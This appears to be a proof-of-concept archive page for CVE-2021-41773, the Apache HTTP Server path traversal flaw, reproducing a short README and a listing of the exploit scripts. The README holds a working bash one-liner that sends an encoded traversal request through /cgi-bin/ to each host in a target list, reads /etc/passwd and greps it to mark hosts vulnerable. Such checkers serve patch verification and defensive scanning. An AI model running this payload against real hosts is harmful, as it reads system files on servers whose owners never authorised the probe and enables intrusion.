CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

来源

关联漏洞

介绍

# CVE-2021-41773 Proof of Concept
Quick and dirty proof of concept for checking if hosts vulnerable to CVE-2021-41773

```
python3 full.py hosts.txt
```

Where hosts.txt contains your targets:
```
domain.com
blah.com
192.168.1.1
```

It'll print out if the host is vulnerable or not vulnerable. 

Python version of bash:
```
cat hosts.txt | while read host do ; do curl -k --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
```



Enjoy!

文件快照

 [4.0K]  /data/pocs/38b4e313b263c8b3a82d7092cf6d2ac82b710d81
├── [2.7K]  full.py
├── [2.2K]  poc.py
└── [ 576]  README.md

0 directories, 3 files

备注